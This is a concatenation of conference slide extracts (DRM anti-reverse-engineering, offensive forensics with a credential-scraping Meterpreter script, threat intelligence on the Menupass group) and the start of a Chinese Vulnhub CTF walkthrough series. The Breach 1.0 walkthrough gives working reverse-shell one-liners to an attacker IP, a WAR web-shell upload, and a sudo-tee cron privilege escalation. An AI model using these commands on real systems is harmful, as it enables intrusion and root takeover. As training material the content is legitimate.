Different meaning of opcodes per module
ASN.1 parsing
Debugging Difficult
Low signal to noise ratio (big "handler loop")
Even lower due to opcode descrambling
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
P-Code Machine in IDA
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Strategies to find Decryption Algorithm + Keysetup
1
Write custom Disassembler (Expensive Strategy)
Many handlers
Long and complex high level handlers
Re-assemble randomization, descrambling, garbage
instructions, ASN.1
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Strategies to find Decryption Algorithm + Keysetup
1
Write custom Disassembler (Expensive Strategy)
Many handlers
Long and complex high level handlers
Re-assemble randomization, descrambling, garbage
instructions, ASN.1
2
Trace until key written to memory (Brute Force Strategy)
Single-step via debugger script
Slow, but reaches code writing key
Not so clever
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Strategies to find Decryption Algorithm + Keysetup
1
Write custom Disassembler (Expensive Strategy)
Many handlers
Long and complex high level handlers
Re-assemble randomization, descrambling, garbage
instructions, ASN.1
2
Trace until key written to memory (Brute Force Strategy)
Single-step via debugger script
Slow, but reaches code writing key
Not so clever
3
Use emulation (Cool Strategy)
Use CPU emulation (PyEmu[4], x86 Emu for IDA[5], ...)
Fast, very flexible
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Strategies to find Decryption Algorithm + Keysetup
4
Use BPMs / Attack machine memory (Lazy Strategy)
Use what we have
Exploit machine memory management
Filebuffer size 0x1800, DES keyschedule size 0x80
Set BP, fire when keysetup memory allocated
Set BPM, fire when keysetup written
Back-trace from there
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
Overview
Trampolines
Debug Registers
P-Code Machine
Strategies to find Decryption Algorithm + Keysetup
4
Use BPMs / Attack machine memory (Lazy Strategy)
Use what we have
Exploit machine memory management
Filebuffer size 0x1800, DES keyschedule size 0x80
Set BP, fire when keysetup memory allocated
Set BPM, fire when keysetup written
Back-trace from there
Keen Disappointment
Decryption and keysetup in native code! High-level handlers!
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
The Algorithm
Demo
Outline
1
Introduction
Legal Issues
About DRMs
Approaching the DRM
2
SEH Basics
Overview
Exception Dispatching
3
Anti-RE Techniques
Overview
Trampolines
Debug Registers
P-Code Machine
4
Decrypting the Content
The Algorithm
Demo
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
The Algorithm
Demo
Keysetup Algorithm
Key Derivation
Hash some files
Use different hash algorithms
Different key for every music file
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
The Algorithm
Demo
Decryption Algorithm
Decrypt content with DES-CBC (Cipher Block Chaining)
IV from DRM file
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
The Algorithm
Demo
Demo
Demo
or
"Han shot first!"
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
The Algorithm
Demo
Conclusion
Summary
Overall: good protection
BPMs led us to success, P-Code machine almost useless!
Implementation weaknesses
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
The Algorithm
Demo
Conclusion
Summary
Overall: good protection
BPMs led us to success, P-Code machine almost useless!
Implementation weaknesses
Room for Improvements
1
Transform more native code to P-Code
2
Make P-Code machine more complex (nesting,
polymorphic handlers, self-modifying machine, ...)
3
Improve (very) weak debugger detection
4
Use DRs, let control flow depend on BPM/BPX firing
5
...
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
The Algorithm
Demo
Thanks for your Attention!
Questions?
Contact: [email protected]
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
The Algorithm
Demo
Electronic Frontier Foundation.
Electronic Frontier Foundation.
http://www.eff.org/.
DMCA.
DMCA Encryption Research Paragraph.
http://www.law.cornell.edu/uscode/html/
uscode17/usc_sec_17_00001201----000-.html.
Jan Newger.
IDA Stealth.
http://www.newgre.net/idastealth.
Cody Pierce.
PyEmu: A Multi-Purpose Scriptable x86 Emulator.
http://dvlabs.tippingpoint.com/team/cpierce.
Chris Eagle.
Jan Newger
Anti-RE Techniques in DRM Code
Introduction
SEH Basics
Anti-RE Techniques
Decrypting the Content
The Algorithm
Demo
The x86 Emulator plugin for IDAPro.
http://www.idabook.com/x86emu/.
Jan Newger
Anti-RE Techniques in DRM Code | pdf |
Introductions
• Benjamin Caudill
• Principal Consultant with Rhino Security Labs
• Pentesting, Social Engineering, Webapp
• ~4 Years in Security, 8+ Years in IT
• Aerospace/Defense
• Incident response, forensics (APT-centric)
• Finance Industry
• Webapp assessments
• Consulting
• Pentesting, Social Engineering
• Number of certifications, but who cares?
Overview
• Traditional Forensics
• Brief background
• Offensive Forensics
• Introduction/Basics
• Memory
• Potential, Problems
• Disk/Registry
• Potential, Problems
• New Metasploit Module
• Usage
• Quick demo
(Traditional)
Digital Forensics
“…the recovery and investigation of material found in digital devices”
• Related tools and concepts used for investigations
(criminal/civil/corporate/etc)
• Objective: Solve a “crime”
• As a result, few ‘forensics’ tools for pentesters
Offensive Forensics
“The use of forensics techniques for offensive purposes”
(Often for improved social engineering, password cracking)
• Why?
• When traditional post-exploit techniques are insufficient for next steps
• Pentesting has a time limit (can’t wait all day keylogging…)
• Objective- Access to additional sensitive information
• Explicit vs Implicit
!
Forensic Comparison
(Live/Dead Analysis)
Offensive Forensics
• Live Analysis –
• Access remotely and can grab
memory, but permission prevent
access to files
• Hiberfil.sys, page.sys, other OS files,
etc…
• Dead Analysis -
• All files accessible (through disk
image)
• Loss of potential from user interaction/
live RAM
Traditional Forensics
• Live Analysis –
• Can grab memory, but things
are changing (scary)
• Legal concerns, chain of
custody…
• Dead Analysis –
• System off
• Stable – nothing is changing
• Grab disk image
Offensive Forensics - Memory
• Windows Clipboard
• Password Managers – copy/paste
• Command-line History
(“doskey /history ”)
• Adding users, FTP/Telnet sessions, etc
• Passwords, Key Files, Encryption Keys
(‘process_memdump’ in post MSF modules)
• Password/Key cache (ie: Truecrypt)
• Older software (ie: PuTTY)
• Private Browsing/Sandboxing
• Not quite so private after all…
• (Coming soon!) Volatility plugin to detect Private Browsing Sessions
1. Browser Files - Watering Hole attacks, Locate intranet sites, Misc Sensitive
• Firefox
• key3.db & signons.sqlite
(Passwords)
• places.sqlite
(Bookmarks and History)
• Cookies.sqlite
(Cookies)
• Formhistory.sqlite
(Saved form data)
• Downloads.sqlite
(Downloads)
• Content-prefs.sqlite
(Site-specific settings, such as local download
locations)
• Addons.sqlite
(Browser Addons)
• Sessionstore.js
(Saved session for when Firefox re-opens)
Offensive Forensics - Disk/Registry (1)
Browser Form History – Credit Card Info
Browser Form History – Account Compromise
2. Most Recently Used (MRU) - What has the user been looking at?
3. Prefetch Files – What has the user been running?
4. Deleted files/Slack Space - What had been on the disk?
(‘imager.rb’, ‘recover_files.rb’ in post MSF modules)
• Files are deleted for a reason
• Still underutilized as it takes more time
5. Backups, Volume Shadow-Copy Service (VSS)
(‘vss_list.rb’, related others in post MSF modules)
Offensive Forensics - Disk/Registry (2)
6. Crash dumps – (theoretically) same potential as live memory
• Live systems can’t access page/hiberfil directly, but dumps may be
available
7. Calendars, Address book, Smartphone backups, print spools,
misc.
• Implicitly Sensitive (spearphishing, watering holes, password
cracking, etc.)
Offensive Forensics - Disk/Registry (3)
• Mo’ Data, Mo’ Problems!
• Thousands of potential files/directories to search
• Not all apply to every OS, application, version, etc.
Offensive Forensics - Disk/Registry
Offensive Forensics - Disk/Registry
• …And a Meterpreter script was born!
• Forensic_Scraper- Using OS identification, grabs and
downloads:
• All Major Browser Files (history, saved passwords, form data, etc)
• Most Recently Used (MRU) list for Windows, MS Office
• Prefetch data (exe’s, time-date stamps)
• Windows Crash Dumps
• Print Spools
• Located Backups (Windows, iPhone, Blackberry, etc)
• Much more…
Forensic_Scraper – Demo
• Simple – point and shoot
Forensic_Scraper – Demo
Offensive Forensics - Conclusion
Q/A:
Find me afterwards
‘Forensic_Scraper’ Download/Demo:
RhinoSecurityLabs.com/blog
(or from Defcon)
Contact:
[email protected]
@RhinoSecurity | pdf |
Catching the Golden Snitch
Leveraging Threat Intelligence Platforms
to Defend Against Cyber Attacks
[email protected]
• Malware analysis, malicious document detection,
advanced persistence threat research
• Tracking several cyber espionage groups for years
• Tracking new operations, TTP of APT groups
[email protected]
• 7+ years experience on Reverse Engineering
• 5+ years experience on malware analysis
• Sandbox, Exploit research
• APT research
•
Available Products in each phase
Available TIP Products
•
Some takeaways
•
What do we fear about cyber threat?
Why do we need Cyber Threat Intelligence?
•
Main features of TIP
Aggregation, Analysis, Action
•
Story Begins
Pitfalls of Correlation
New activities of Menupass group
INTRODUCTION
State Secrete
(Political, Economic, Defense)
National Security
Business Intellectual Property
Customer Data
Personal identifiable Data
Privacy
• However……
Cyber Espionage Attacks
Hacktivism Attacks
Cyber Espionage
Cyber Crime
• Breaches happens everyday
• Data leaked everyday..
Personal identifiable Data
Privacy
• New breaches happens everyday
• New indicators disclosed everyday
• New vulnerabilities disclosed everyday
• About 18 new CVE vulnerabilities disclosed everyday in 2015
• Totally 6419 CVE vulnerabilities disclosed in 2015
• Advanced Persistent Threat
• Targeting your Achilles' heel
• Knowledge about adversaries and their motivations, intentions,
and methods that is collected, analyzed, and disseminated in
ways that help security and business staff at all levels protect the
critical assets of the enterprise.
Jon Friedman et al, 2015, Definitive Guide to Cyber Threat Intelligence
Ref: iThome
「關於一銀事件, 看完台灣新聞後, 目前我知道這
起盜領案是由一銀內鬼看色情郵件和用XP Ping
8.8.8.8 ,然後愛用Adidas和愛吃黑嘉麗軟糖的嫌
犯可以把錢拿走,再去宜蘭買捷安特吃白鯧魚,
被捕之後說要上廁所再去看醫生,而且你們有沒
有發現, 安德魯居然有張明星臉!」
• Anunak: APT against financial
institutions - Group-IB and
Fox-IT
• This report describes the
details and type of operations
carried out by an organized
criminal group from Russia that
focuses on financial industry.
• How to aggregate all the data from different sources? (Open source
intelligence, Incident Response, Community, Customers, Exchange
Platform)
• How to manage all the information for better analysis?
• How to analysis these data, co-relate incidents to campaigns?
• What is the most significant threat to me?
• How to aggregate these cyber threat intelligence with internal data?
• How to share and do intelligence exchange?
THREAT INTELLIGENCE PLATFORM
Threat Intelligence Platform
• To support research and tailored threat intelligence program
• Simply defined, TIP include three main features:
• Aggregating internal & external data:
• Data from own surface and external
sources
• The most important source of relevant
threat data of an organization is your
own attack surface.
• TTP = Tactics, Techniques, and
Procedures
• Targeted Attack Reconnaissance
• Scanbox example
• Supporting different input
sources:
• Samples input
• Incident Respond Data
• Different Logs?
• Intelligence Feed
• Indicators input
• Spreadsheet?
• Structured Language
• Structured Threat Information
Expression (STIX from MITRE)
• Data management
• Intelligence requirement –
How to answer questions?
• BE careful with “Details”
• Data Structure, Data Base
• Exchange Restriction
• Traffic Light Protocol (TLP)
• The core feature of TIP
• Triaging data priority
• Data Prioritization
• Customization
• Focusing on real threat, generating
high-fidelity information
• Validation
• Analyst assessment
• Turning information into actionable
intelligence
• Timely, Accurate, Relevant
• Malware analysis
• Static analysis: manual reversing, Yara database, AntiVirus detection
• Dynamic: manual tracing and triggering, automated sandboxes
• Automate technically processing as much as possible (sandbox, Yara..etc)
• Identify code family, C&C servers, languages, possible victim, possible
adversary
• Exploit analysis
• disclosed vulnerabilities, 0 days
• Delivery method analysis
• Social Engineering
• Waterhole attacks
• Lateral movement
• Correlating C2 infrastructure in
different attacks (operation
tracking)
• Domains, IP co-relations
• Known malicious C2
• Compromised machines
• Web hosting servers, VPS servers
• Passive DNS
• WHOIS information analysis
• Identify possible targets
• Campaign Code
• Decoy
• Language
• Theme
• Targeted Data
• Identify targeted data
• What do actors interested
in?
• Example: Phishing
(Accounts & Password)
• Example: Python
Downloader from
Hangover Team
• Identify adversary, actors, origin
• Language
• Tools
• C2 infrastructure
• Identify motivations, intentions
• Cooperation relationship between
different groups
• Sharing tools?
• Working together in same attacks?
• Analyst skills
• Technical Skills
• Malware Analysis
• TTP Analysis
• Language
• Background,
International Relations
• Tradecraft, Criminal,
Cyberspace
• Analytic & Critical
Thinking
• Discovery ability
• “中華航空電子機票” (probably Elirks)
• DreamMail, FoxMail Phishing (Probably Taidoor)
• Password “flowerdance” (probably Menupass)
• Pivoting among data-
modelings
• Search, Filter, Facet, Cluster
• Tag, Comment, Classify, Score
• Visualization, Timeline,
Maltego
• Collaboration
• Exchange
• Structure Language
• STIX and CybOX
• Sharing Program
• TAXII
• Reports
• Basic report (Firewalls/IT Staff)
• Malwares, Indicators of
Compromise (Hashes, C&C)
• Advance report
• TTP
• Adversary
• Trend, outlook
• Visualization
Research Real Case
The New Activities of Menupass group
• In 2013, we observed an Email
sample which were supposedly
targeting Japan victim.
• Poison Ivy is a public
available RAT which
has remained popular
and effective for about
11 years after its
lastest releas.
• Special Characteristic
of the sample:
• Password: keaidestone
• ID: 2013/05/15-40
• Finding related
samples
• ImpHash
• Launcher, Dropper
• C2
• Specialties of
malware samples
(Yara Hunting)
• OSINT
• By now, we have gathered 360+ Samples of this group
• More than 800+ indicators of Menupass group
• Related OSINT Data:
• 2011 Symentec – Inside a Back Door Attack
• 2013 FireEye – POISON IVY: Assessing Damage and Extracting Intelligence
• 2016 Cylance – Operation Dust Storm
• Clustering sample data found that their earliest movement can be
dated back to 2007.
• We found other tools used by Menupass group by C2 correlation and
clustering Yara Rule analysis.
• Poison Ivy
• PlugX
• Gh0st
• EvilGrab
• SPIVY (New)
• Poison Ivy Connection Password:
• PlugX Connection Password:
• Delivery
• Spear-phishing Email with
fabricated document file
• Attachment file with download
link
• Decoy document
• Tailored content in
decoy document
• Attachment file of
instruction to “exploit”
yourself.
• 500+ C2 domains & IPs
• Favor of Dynamic DNS &
Virtual Private Servers.
• PubYun
• ChangeIP.com
• No-IP
• FreeDNS
• Dyn.com
• Oray (
)
Region, Timeframe, Visibility
Products Available
HP ArcSight ($)
IBM QRadar ($)
Cisco Source Fire AMP ($)
AlienVault (FREE /$)
CHT EyeQuila ($)
Google Rapid
Response (FREE)
Mandiant
RedLine/MIR (FREE / $)
Guidance EnCase
Cyber Security ($)
Verint XecProbe ($)
Carbon Black ($)
Falcon Host ($)
Mandiant + Fireeye
+ iSIGHT Partners ($)
iDEFENSE ($)
Dell SecureWorks ($)
CrowdStrike ($)
LookingGlass ($)
Maltego (FREE / $)
DomainTools IRIS ($)
ThreatCrowd (FREE)
PassiveTotal (FREE / $)
FireEye MVX ($)
Damballa ($)
Lastline ($)
ThreatTrack ($)
ThreatGRID ($)
Cuckoo (FREE)
Threat Connect (FREE/ $)
MISP (FREE)
MITRE CRITS (Free)
IBM X-Force ($)
EclecticIQ Platform ($)
ThreatScap ($)
STIX (FREE)
TAXII (FREE)
CybOX (FREE)
TAXII (FREE)
Libtaxii TAXII Library (FREE)
Yeti TAXII Server (FREE)
• Community driven threat intelligence platform
• Every instance of ThreatConnect includes
access to Public Cloud Common Community.
• Provide API, Threat Connect Marketplace
• Malware information sharing platform
• Storing and sharing Indicators of
compromise (IP, domain, hashes)
• Open source platform model (available
on Github)
• Sharing information between MISP
instances
Conclusion
• Cyber Threat Intelligence provides researched and analyzed
knowledge about adversaries to help quickly adapt to an ever-
changing threat landscape.
• The most important source of relevant threat data of an organization
is your own attack surface.
• Threat Intelligence Platform fusing internal and external sources,
facilitating analysis and support your actions.
Q&A | pdf |
目录
Vulnhub渗透测试练习(一)-------------------------------Breach1.0
Vulnhub渗透测试练习(二) ------------------------------Billu_b0x
Vulnhub渗透测试练习(三) -------------------------------Bulldog1
Vulnhub渗透测试练习(四)---------------------------------Acid
Vulnhub渗透测试练习(五)---------------------------------LazysysAdmin-1
Vulnhub渗透测试练习(六)---------------------------------Freshly
Vulnhub渗透测试练习(七)---------------------------------FristiLeaks v1.3
Vulnhub渗透测试练习(八)---------------------------------The Ether
Vulnhub渗透测试练习(九)---------------------------------zico2
Vulnhub渗透测试练习(十)---------------------------------Quaoar
Vulnhub渗透测试练习(十一)---------------------------------SickOs 1.1
Vulnhub渗透测试练习(十二)---------------------------------BSides-Vancouver-2018-
Workshop
Vulnhub渗透测试练习(十三)---------------------------------Kioptrix 1
Vulnhub渗透测试练习(十四)----------------------------------Zico2
Vulnhub渗透测试练习(十五)----------------------------------Kioptrix 3
Vulnhub渗透测试练习(十六)----------------------------------Kioptrix 4
Vulnhub靶场题解 - 红日安全团队
Vulnhub简介
Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文
件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是
Boot2root,从启动虚机到获取操作系统的root权限和查看flag。网址:https://www.vulnhub.com
第一节 Breach1.0
靶机信息
下载链接
https://download.vulnhub.com/breach/Breach-1.0.zip
靶机说明
Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战。
VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网。非常感谢
Knightmare和rastamouse进行测试和提供反馈。作者期待大家写出文章,特别是通过非预期的方式获取root权
限。
目标
Boot to root:获得root权限,查看flag。
运行环境
靶机:网络连接方式设置为主机模式(host-only),静态IP是192.168.110.140。
攻击机:同网段下有Windows攻击机(物理机),IP地址:192.168.110.220,安装有Nmap、Burpsuit、
Wireshark、Sqlmap、nc、Python2.7、JDK、DirBuster、AWVS、Nessus等渗透工具,也可以使用Kali
Linux攻击机。
信息收集
端口服务识别
启动Breach1.0虚拟机,由于IP已知,使用nmap扫描端口,并做服务识别和深度扫描(加-A参数),扫描结果保存
到txt文件,命令:
nmap -v -A 192.168.110.140 -oN Breach.txt
发现端口几乎全开放了,显然是有问题,虚拟机对端口扫描做了一些防护措施,直接访问80端口,进入web首
页: http://192.168.110.140/
漏洞挖掘
0x01:查看首页源码,解码得到密码
(1) 查看首页源码,发现提示: Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo 这是一串
base64编码。
(2) 将其复制到Burpsuit Decoder进行base64解码,解密后发现还是base64编码,继续base64解码,得到
pgibbons:damnitfeel$goodtobeagang$ta
0x02:登录cms,查看邮件,下载包含SSL证书的密钥库keystore文件
(1) 点击首页的图片,进入 initech.html
(2) 点击initech.html左边的 Employee portal 进入到 http://192.168.110.140/impresscms/user.php 这是一个
impresscms登录页
使用之前两次base64解码得到的密码登录impresscms:
用户名: pgibbons
密码: damnitfeel$goodtobeagang$ta
(3) exploit-db.com查找impress cms漏洞:发现ImpressCMS 1.3.9 SQL注入漏洞: https://www.exploit-
db.com/exploits/39737/ ,可注入页面为 /modules/profile/admin/field.php ,但是该页面目前没有权限访问,
无法进行注入。
(4) 注意左边的收件箱Inbox显示有3封邮件,依次打开看:
第1封邮件,主要内容:让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全,发自ImpressCMS
Admin Bill。
第2封邮件,主要内容:Michael采购了IDS/IPS。
第3封邮件,主要内容:有一个peter的SSL证书被保存在192.168.110.140/.keystore。
(5) 访问 http://192.168.110.140/.keystore 下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥
的一种文件格式。
0x03:导入流量抓包文件、SSL证书到Wireshark
(1) 依次访问左边的菜单树,点击每个菜单栏:
content链接了一张图片troll.gif:
点击profile会进入目录浏览:
但都没发现可利用漏洞,继续浏览每个网页。
(2) 点击 View Account 菜单进入界面,再依次点击页面的 Content ,会弹出一行链接 Content SSL
implementation test capture ,点击链接,如下图:
(3) 进入 http://192.168.110.140/impresscms/modules/content/content.php?content_id=1 页面,可以看到一个
名为: _SSL_test_phase1.pcap 的Wireshark流量包文件,下载它。
同时,该页面有重要的提示信息:这个pCAP文件是有红色团队的重新攻击产生的,但是不能读取文件。而且 They
told me the alias, storepassword and keypassword are all set to 'tomcat' 别名、Keystore密码、key密码
都设置成 tomcat 。
由此推测:a.这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个
keystore,这里提供了密码;b.系统中可能存在tomcat。
(4) Windows攻击机安装有JDK,到JDK目录下找到keytool.exe工具:路径 C:\Program
Files\Java\jre1.8.0_121\bin\keytool.exe
将keystore放到C盘根目录,查看keystore这个密钥库里面的所有证书,命令 keytool -list -keystore
c:\keystore 输入密钥库口令tomcat:
(5) 从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12的证书,命令:
keytool -importkeystore -srckeystore c:\keystore -destkeystore c:\tomcatkeystore.p12 -deststoretype PKCS12
-srcalias tomcat
(6) 将.p12证书导入Wireshark
.p12证书存储在C盘根目录,将证书导入Wireshark:在Wireshark中打开 _SSL_test_phase1.pcap 流量包文件,选
择菜单:编辑--首选项--Protocols--SSL,点击右边的Edit:
输入:192.168.110.140 8443 http 点击选择证书文件 输入密码tomcat
0x04:从流量包文件中得到tomcat后台URL和密码
(1) 导入证书后,https流量已经被解密,查看每个http流量包:
发现从192.168.110.129到192.168.110.140的攻击流量包,其中有cmd命令马执行了id命令,攻击者上传了两张图
片,疑似图片马,但是命令马无法直接访问,需要登录tomcat后台:
(2) 获得Tomcat后台登录地址和用户名密码
继续观察流量包,发现一个Unauthorized的认证包,该request和response包含了Tomcat后台的登录地址:
https://192.168.110.140:8443/_M@nag3Me/html
发现包含登录用户名密码的数据包, 采用http basic认证,认证数据包为: Basic
dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
这是base64编码的用户名密码,将 dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC 复制到Burpsuit Decoder进行解码,
得到Tomcat登录用户名密码
Tomcat后台登录用户名:tomcat,密码:Tt\5D8F(#!*u=G)4m7zB
获取shell
0x05: 登录Tomcat后台get shell
(1) 登录tomcat后台:
(2) Tomcat后台get shell是有标准姿势的,上养马场,准备好jsp版本的各种马,这里有cmd命令小马,菜刀马,
jspspy大马,将其打成caidao.zip压缩包,再将zip压缩包将扩展名改为caidao.war,将war包上传部署即可:
(2) 在WAR file to deploy中将war包上传:
上传后在目录中找到上传的目录/caidao,已上传jsp木马文件就在这个目录下。
(3) 使用中国菜刀连接 https://192.168.110.140:8443/caidao/caidao.jsp
(4) 使用菜刀命令行连接,执行id;pwd命令成功:
(5) 发现的问题:上传的菜刀马,一会儿就会消失,文件被删除,需要重新上传war包才能够继续使用菜刀,主机可
能有杀软或者杀web shell工具。解决方法:bash反弹一个shell出来。
提升权限
0x06: 查看系统用户,发现mysql root密码
(1) 查看当前系统用户,找id为1000以后的用户 cat /etc/passwd
发现两个值得关注的用户:milton 和 blumbergh
(2) 在菜刀里面找到网页根目录,默认是在tomcat目录,找到网页部署目录 /var/www/5446/
(3) 该目录下发现两个奇怪的php文件,命名非常长且无规律fe4db1f7bc038d60776dcb66ab3404d5.php和
0d93f85c5061c44cdffeb8381b2772fd.php,使用菜刀下载下来打开查看:
这是mysql数据库连接文件,使用mysql的root账号连接数据库,密码为空。
(4) 因为菜刀马总是被删除,所以反弹shell到nc:在菜刀cmd命令行反弹一个shell到Windows攻击机的nc,命
令: echo "bash -i >& /dev/tcp/192.168.110.220/4444 0>&1" | bash
nc接收反弹sehll成功:
(5) 连接mysql数据库,查看mysql用户,这里输入mysql命令后一直没有回显,直到输入exit退出mysql登录后,查
询回显才出来,命令:
mysql -u root -p
use mysql;
select user,password from user;
exit
得到milton用户的密码哈希: 6450d89bd3aff1d893b85d3ad65d2ec2
到 https://www.somd5.com/ 解密,得到用户milton的明文密码:thelaststraw
0x07: 提权到用户milton和blumbergh
(1) 无法执行su命令,显示需要一个终端,之前都遇到这个问题,通过Python解决:
python -c 'import pty;pty.spawn("/bin/bash")'
(2) 提权到用户milton
su - milton 密码:thelaststraw
查看milton用户home目录下的some_script.sh文件,没有可利用的信息。
(3) 查看系统内核版本,命令 uanme -a 和 cat /etc/issue
系统内核版本为:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提权漏洞。存在本地提权漏洞内核版本
是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)
(4) 查看历史命令,无有价值的线索,看到历史命令su提权到了blumbergh用户。需要找到blumbergh用户的密
码。
(5) 到现在发现了7张图片,6张在图片目录: http://192.168.110.140/images/ ,1张在milton用户目录下:
http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg
milton用户目录下my_badge.jpg
将图片复制到kali linux,使用strings打印各图片其中的可打印字符,追加输出到images.txt,在vim下查看,密码
在bill.png图片中。
找到可能的密码或提示:
发现唯一的单词是: coffeestains
或者使用exiftool.exe工具查看bill.png图片的exif信息,得到可能的密码: coffeestains
(6)提权到blumbergh用户
用户名:blumbergh
密码:coffeestains
(7)查看历史命令,发现/usr/share/cleanup和tidyup.sh脚本文件:
读取tidyup.sh脚本分析:
cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf
这是一段清理脚本,描述中说明每3分钟执行清理,删除webapps目录下的文件,因此之前上传的菜刀马总是被删
除,需要重新上传。
查看tidyup.sh的权限,对该脚本没有写入权限,只有root可以
查看sudo权限,执行sudo -l:
发现用户能够以root权限执行这tee程序或tidyup.sh脚本:/usr/bin/tee和/usr/share/cleanup/tidyup.sh
tee命令用于读取标准输入的数据,并将其内容输出成文件。tidyup.sh是清理脚本。
0x07:反弹root权限shell,获取flag
(1) 向tidyup.sh中写入反弹shell命令
tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写
入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:
echo "nc -e /bin/bash 192.168.110.220 5555" > shell.txt
再使用tee命令将shell.txt内容输出到tidyup.sh
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看tidyup.sh文件写入成功:
cat /usr/share/cleanup/tidyup.sh
(2) nc监听等待反弹shell,查看权限是root,flag是一张图片,将图片拷贝到home目录:
(3) 查看一下crontab计划任务,发现果然有每3分钟执行tidyup.sh清理脚本的任务:
(4) 使用之前上传的jsp大马JspSpy将flair.jpg下载到Windows:
(5) 查看flag: I NEED TO TALK ABOUT YOUR FLAIR 游戏通关。
思路总结
主要突破点
(1) 从网页源码和图片字符中解密出CMS和Tomcat的账号、密码。
(2) 导入ssl证书到Wireshark中解密经过SSL加密的流量,获得Tomcat后台登录URL和账号密码。
(3) Tomcat后台get shell姿势要熟练。
(4) 提权:找到两个账号的密码,发现可以root权限执行的tee命令和tidyup.sh清理脚本,通过计划任务反弹root
shell。
难点和踩到的坑
(1) 使用keytool导出SSL证书:这是非常规渗透知识,需要查阅原理和工具使用,耗费时间较多。
(2) Tomcat后台get shell后,已上传的菜刀马总是被杀,每次传上去过不了几分钟没了,当时以为该系统安装了杀
毒软件或web shell清理工具,实际是因为主机tidyup.sh清理脚本,每3分钟清理一次。反弹出一个shell就可以持
续使用shell了。
(3) 连接mysql执行命令,没有回显。菜刀执行命令超时,nc中只有exit退出时才回显,当时打算放弃了,才exit退
出,结果退出才有回显,发现了milton账号的密码哈希。山重水复疑无路,柳暗花明又一村。
(4) 花费较多时间进行两次账号切换,再反弹root shell提权。发现和利用tidyup.sh需要较多时间。
(5) 通过crontab的计划任务,反弹root shell的方式,在真实渗透测试中是常见的,比如redis的root空口令挖矿,可
以ssh证书连接,也可以写root crontab反弹,但是在Vulnhub中第一次遇到,对初学者有难度。
第二节 Billu_b0x
靶机信息
下载链接
https://download.vulnhub.com/billu/Billu_b0x.zip
靶机说明
虚拟机难度中等,使用ubuntu(32位),其他软件包有:
PHP
apache
MySQL
目标
Boot to root:从Web应用程序进入虚拟机,并获得root权限。
运行环境
靶机:使用VMWare打开虚机,网络连接方式设置为net,靶机自动获取IP。
攻击机:同网段下有Windows攻击机,安装有Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、
AWVS、Nessus等渗透工具,kali攻击机,主要用Windows攻击机完成实验。
信息收集
ip发现
启动Billu_b0x虚拟机,由于虚机网络设置为net模式,使用Nmap扫描VMware Network Adapter VMnet8网卡的
NAT网段C段IP,即可找到虚机IP,命令:
nmap -sP 192.168.64.1/24
获得靶机ip 192.168.64.161
端口和服务识别
使用nmap扫描1-65535全端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到txt文件,命令:
nmap -p1-65535 -A 192.168.64.161 -oN billu.txt
发现目标主机端口和服务如下:
端口 协议 后端服务
TCP 22 SSH OpenSSH 5.9p1
TCP 80 HTTP Apache httpd 2.2.22
进入web首页:发现用户名口令输入框,并提示“Show me your SQLI skills”。
漏洞挖掘
漏洞挖掘思路:
(1) SQL注入:首页提示注入,想办法注入成功。
(2) 暴破目录:用DirBuster暴破,看是否有新网页,找新漏洞;
